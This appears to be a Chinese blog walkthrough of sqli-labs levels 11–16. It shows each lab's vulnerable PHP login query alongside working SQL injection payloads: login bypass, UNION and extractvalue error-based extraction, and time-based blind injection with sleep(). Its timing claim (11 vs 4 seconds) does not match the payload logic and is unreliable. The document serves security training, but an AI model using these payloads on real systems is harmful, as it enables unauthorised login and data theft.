0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

(11)第十一关:

首先看到是个登录框,就平常的超级多的登录页面,我们从来没有思考过它会不会存在注入

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql

 

再看看源码,这句话的意思是在数据库中查询userpassword,就正常的登录,查到账号密码就登录成功的那种:

    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

靶场练习-Sqli-labs通关记录(post型)(11-16关)_登录页面_02

 

 是存在admin/admin这个账号及密码的,那如果我们不知道密码,闭合了账号后面的密码,就能成功的无需密码进行登录了,从源码可以知道直接输入admin'#,就能闭合这句话,无需密码就可以登录成功,试试看:

靶场练习-Sqli-labs通关记录(post型)(11-16关)_mysql_03

 

 同样登录成功:

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_04

 就可以初步判定这里存在注入,当然,其实从报错也不难发现,输入 admin' and or 1# 这本来就是一句语法错误的查询:

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_05

 

 然后我们可以开始手工注入查询语句:

admin' order by 3#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_语法错误_06

 

 然后order by 2 ,发现回显正常:

靶场练习-Sqli-labs通关记录(post型)(11-16关)_mysql_07

 

 判定只有2列,然后依次查询,因为这个都是直接查询成功的,不会回显结果,所以试试报错查询:

admin' union select 1,2#
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_语法错误_08

 

 然后之后的大家都懂的!

 

(12)第十二关:

第12关与第11关唯一区别就是在用户那里添加了一个")

    // connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

 

因此闭合语句变成:

admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_数据库_09

 

(13)第十三关:

同理,13关的也是仅仅是变了个')

    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
admin') union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_10

 

(14)第十四关:

// connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

 

这个也是一样的,仅仅是多了一个"

因此闭合语句为:

admin" union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_11

 

(15)第十五关:

第15关一样的,就是闭合语句的问题,这一关居然没报错了,那就试试延时注入

// connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
admin' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_12

错的数据库ascii码会有11秒,正确的应该是会有4秒

靶场练习-Sqli-labs通关记录(post型)(11-16关)_数据库_13

 发现结果确实如此!

 

 

(16)第十六关:

// connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

使用的")进行拼接,千万别看漏了!!!其实还是可以尝试延时注入,主要是报错不知道回显不回显。尝试后发现并不回显,因此试试延时注入:

admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_数据库_14

admin") and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

靶场练习-Sqli-labs通关记录(post型)(11-16关)_sql_15

admin") and if(ascii(substr(database(),1,1))=115,1,sleep(7))#

 

靶场练习-Sqli-labs通关记录(post型)(11-16关)_登录页面_16